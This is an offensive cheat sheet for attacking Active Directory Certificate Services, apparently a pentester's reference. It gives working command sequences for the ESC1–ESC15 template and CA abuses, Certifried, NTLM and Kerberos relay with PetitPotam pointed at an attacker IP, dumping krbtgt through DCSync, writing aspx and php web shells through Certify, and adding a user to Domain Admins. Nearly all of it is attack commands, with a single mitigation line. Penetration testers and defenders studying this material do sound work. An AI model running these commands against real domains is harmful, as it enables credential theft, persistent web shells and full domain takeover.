Active Directory - Certificate Services
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
ADCS Enumeration
- netexec:
netexec ldap domain.lab -u username -p password -M adcs
- ldapsearch:
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
- certutil:
certutil.exe -config - -ping
,certutil -dump
Certificate Enrollment
-
DNS required (
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
orCT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS
): only principals with theirdNSHostName
attribute set can enroll.- Active Directory Users cannot enroll in certificate templates requiring
dNSHostName
. - Computers will get their
dNSHostName
attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD. - Computers have validated write to their
dNSHostName
attribute meaning they can add a DNS name matching their computer name.
- Active Directory Users cannot enroll in certificate templates requiring
-
Email required (
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
orCT_FLAG_SUBJECT_REQUIRE_EMAIL
): only principals with theirmail
attribute set can enroll unless the template is of schema version 1.- By default, users and computers do not have their
mail
attribute set, and they cannot modify this attribute themselves. - Users might have the
mail
attribute set, but it is rare for computers.
- By default, users and computers do not have their
ESC1 - Misconfigured Certificate Templates
Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
Requirements
- Template that allows for AD authentication
- ENROLLEE_SUPPLIES_SUBJECT flag
- [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
Exploitation
-
Use Certify.exe to see if there are any vulnerable templates
Certify.exe find /vulnerable Certify.exe find /vulnerable /currentuser # or PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' # or certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound # or python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
-
Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
-
Use OpenSSL and convert the certificate, do not enter a password
-
Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
WARNING: These certificates will still be usable even if the user or computer resets their password!
NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.
ESC2 - Misconfigured Certificate Templates
Requirements
- Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation
- Find template
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
- Request a certificate specifying the
/altname
as a domain admin like in ESC1.
ESC3 - Misconfigured Enrollment Agent Templates
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
- Request a certificate based on the vulnerable certificate template ESC3.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
- Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
ESC4 - Access Control Vulnerabilities
Enabling the
mspki-certificate-name-flag
flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
- Search for
WriteProperty
with value00000000-0000-0000-0000-000000000000
using modifyCertTemplate
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
- Add the
ENROLLEE_SUPPLIES_SUBJECT
(ESS) flag to perform ESC1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
- Perform ESC1 and then restore the value
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
Using Certipy
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
ESC5 - Vulnerable PKI Object Access Control
Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.
Requirements:
- Add new templates to the "Certificate" Templates container
- "WRITE" access to the
pKIEnrollmentService
object
Exploitation:
- Use
PsExec
to launchmmc
as SYSTEM on the child DC:psexec.exe /accepteula -i -s mmc
- Connect to "Configuration naming context" > "Certificate Template" container
- Open
certsrv.msc
as SYSTEM and duplicate an existing template - Edit the properties of the template to:
- Granting enroll rights to a principal we control in the child domain.
- Including Client Authentication in the Application Policies.
- Allowing SANs in certificate requests.
- Not enabling manager approval or authorized signatures.
- Publish the certificate template to the CA
- Publish by adding the template to the list in
certificateTemplate
property ofCN=Services
>CN=Public Key Services
>CN=Enrollment Services
>pkiEnrollmentService
- Publish by adding the template to the list in
- Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation
-
Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag. -
Request a certificate for a template and add an altname, even though the default
User
template doesn't normally allow to specify alternative names
Mitigation
- Remove the flag:
certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 - Vulnerable Certificate Authority Access Control
Exploitation
-
Detect CAs that allow low privileged users the
ManageCA
orManage Certificates
permissions -
Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
-
Request the certificate with the desired SAN.
-
Grant approval if required or disable the approval requirement
Alternative exploitation from ManageCA to RCE on ADCS server:
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
ESC8 - AD CS Relay Attack
An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
Require Impacket PR #1101
- Version 1: NTLM Relay + Rubeus + PetitPotam
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
- Version 2: NTLM Relay + Mimikatz + Kekeo
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
- Version 3: Kerberos Relay
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
- Version 4: ADCSPwn - Require
WebClient
service running on the domain controller. By default this service is not installed.
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentication will be relayed to.
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
- Version 5: Certipy ESC8
ESC9 - No Security Extension
Requirements
StrongCertificateBindingEnforcement
set to1
(default) or0
- Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value - Certificate specifies
Any Client
authentication EKU GenericWrite
over any account A to compromise any account B
Scenario
John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.
-
Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
-
Change the userPrincipalName of Jane to be Administrator. leave the
@corp.local
part -
Request the vulnerable certificate template ESC9 from Jane's account.
-
Restore userPrincipalName of Jane to Jane@corp.local.
-
Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
ESC11 - Relaying NTLM to ICPR
Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
Requirements:
- sploutchy/Certipy - Certipy fork
- sploutchy/impacket - Impacket fork
Exploitation:
- Look for
Enforce Encryption for Requests: Disabled
incertipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
output -
Setup a relay using Impacket ntlmrelay and trigger a connection to it.
ESC12 - ADCS CA on YubiHSM
The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.
Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword
.
- Importing the CA certificate into the user store
- Associated with the private key in the YubiHSM2 device
- Finally use
certutil -sign ...
ESC13 - Issuance Policy
If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.
Requirements
- The principal has enrollment rights on a certificate template
- The certificate template has an issuance policy extension
- The issuance policy has an OID group link to a group
- The certificate template defines EKUs that enable client authentication
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
AccessControlType : Allow
# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}
# check for OID group link
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire
# verify if ESC13Group is a Universal group
PS C:\> Get-ADGroup ESC13Group -Properties Members
GroupScope : Universal
Members : {}
Exploitation:
- Request a certificate for the vulnerable template
- Merge into a PFX file
- Verify the presence of the "Client Authentication" and the "Policy Identifier"
- Ask a TGT for our user, but we are also member of the linked group and inherited their privileges
ESC15 - EKUwu Application Policies - CVE-2024-49019
This technique now has a CVE number and was patched on November 12, See Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019 for more information.
Requirements
- Template Schema Version 1
- ENROLLEE_SUPPLIES_SUBJECT =
True
Exploitation:
Detect the vulnerability from BloodHound data using the following cypher query.
MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p
The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311
, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension.
If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.
"Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft
When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.
ESC1 - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication
EKU. Using ly4k/Certipy PR #228, we can add the Client Authentication
EKU to WebServer
. Anybody with the Enroll
permission on this template can now compromise the domain.
certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
# in LDAP shell
add_user pentest_user
add_user_to_group pentest_user "Domain Admins"
ESC2/ESC3 - Certificate Request Agent (1.3.6.1.4.1.311.20.2.1
),
certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
Certifried CVE-2022-26923
An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
- Find
ms-DS-MachineAccountQuota
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
- Add a new computer in the Active Directory, by default
MachineAccountQuota = 10
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
- [ALTERNATIVE] If you are
SYSTEM
and theMachineAccountQuota=0
: Use a ticket for the current machine and reset its SPN
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
- Set the
dNSHostName
attribute to match the Domain Controller hostname
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
- Request a ticket
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
- Either use the pfx or set a RBCD on your machine account to takeover the domain
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
Pass-The-Certificate
Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
- Windows
# Information about a cert file
certutil -v -dump admin.pfx
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
- Linux
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
UnPAC The Hash
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
-
Windows
-
Linux
# Obtain a TGT by validating a PKINIT pre-authentication $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # Use the session key to recover the NT hash $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
References
- Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021
- Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_
- Certified Pre-Owned - Will Schroeder - Jun 17 2021
- Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021
- NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema
- AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021
- ADCS: Playing with ESC4 - Matthew Creel
- AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022
- AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh
- Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak
- UnPAC the hash - The Hacker Recipes
- AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev
- Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER
- bloodyAD and CVE-2022-26923 - soka - 11 May 2022
- Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022
- Certificate templates - The Hacker Recipes
- CA configuration - The Hacker Recipes
- Access controls - The Hacker Recipes
- Web endpoints - The Hacker Recipes
- ADCS ESC13 Abuse Technique - Jonas Bülow Knudsen - 02/15/2024
- From DA to EA with ESC5 - Andy Robbins - May 16, 2023
- ADCS ESC14 Abuse Technique - Jonas Bülow Knudsen - 02/01/2024
- ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024
- ESC12 – Shell access to ADCS CA with YubiHSM - hajo - October 2023
- AD CS Domain Escalation - HackTricks
- ESC15/EKUwu PR #228 - dru1d-foofus - 10/08/2024
- EKUwu: Not just another AD CS ESC - Justin Bollinger - October 08, 2024
- ADCS Exploitation Part 2: Certificate Mapping + ESC15 - Giulio Pierantoni - Oct 10, 2024